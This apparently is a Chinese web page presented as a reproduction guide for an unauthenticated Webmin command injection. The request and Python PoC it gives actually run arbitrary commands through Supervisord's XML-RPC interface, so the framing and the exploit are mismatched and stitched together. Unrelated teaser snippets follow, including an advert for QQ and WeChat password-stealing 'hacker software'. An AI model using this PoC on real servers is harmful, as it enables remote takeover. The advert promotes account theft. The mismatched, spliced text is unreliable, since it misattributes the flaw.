Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
启动环境后访问,忽略证书后即可看到登录页面。
需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:
首先进入容器,修改root密码:
修改后登录webmin后修改配置:
在中查看则说明修改成功。
接下来开始复现,发送如下数据包,即可执行id命令:
POST /password_change.cgi HTTP/1.1 Host: [ip]:10000 Accept-Encoding: gzip, deflate Accept: ** Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
查看命令执行情况:
可以看到命令成功执行。
这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog *** 读取log文件,将结果读出来。
poc脚本:
#!/usr/bin/env python3 import xmlrpc.client import sys target=sys.argv[1] command=sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old=getattr(proxy, 'supervisor.readLog')(0,0) logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result=getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])
执行poc脚本,输入命令::
可以看到成功执行命令,并且看到了回显。
植物人(光合作用) 亲你好有钱的白种人喜欢日光浴晒成古铜色体现贵族的尊贵还有喜欢去海边旅游的喜欢日光浴 日光浴指按照一定的方法使日光照射在人体上,引起一系列的生理、生化反应的锻炼方法,让肌肤暴露在阳光...
没有一个网站可以或许恒久不变成长,没有任何颠簸。它受到很多因素的影响:运营计策的调解、竞争敌手的追赶、百度算法的更新以及很多其他细节。 对SEOer来说,我们常常会碰着各类百般的问题,好比:流量异常,...
黑客盗QQ密码软件怎么用(盗微信密码黑客软件)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑...
在这个注重养生的时代,饮食养生是越来越受关注,与此同时,对粗粮的关注也多余以前。但人们在说起食用粗粮的具体功效时,又经常区分不清。那哪些粗粮有哪些营养功效,你真的了解清楚了吗? 10种常见粗粮的...
钱币兑换1澳元=5.6727人民币元 1人民币元=0.1763澳元兑换为转换数据仅供参考,生意业务时以银行柜台成交价为准 更新时间:2014-03-25 20:00 外币换人民币的 看最新现钞。...
对于今日的大数据技术观念,顾客会在互联网上共享资源本身的看法或见解。但是对于本身的看法,很多 顾客会因为各式各样原因不认同本身的看法,也会造成情况严重的恶语中伤。这类情况在微博上最广泛。 对于...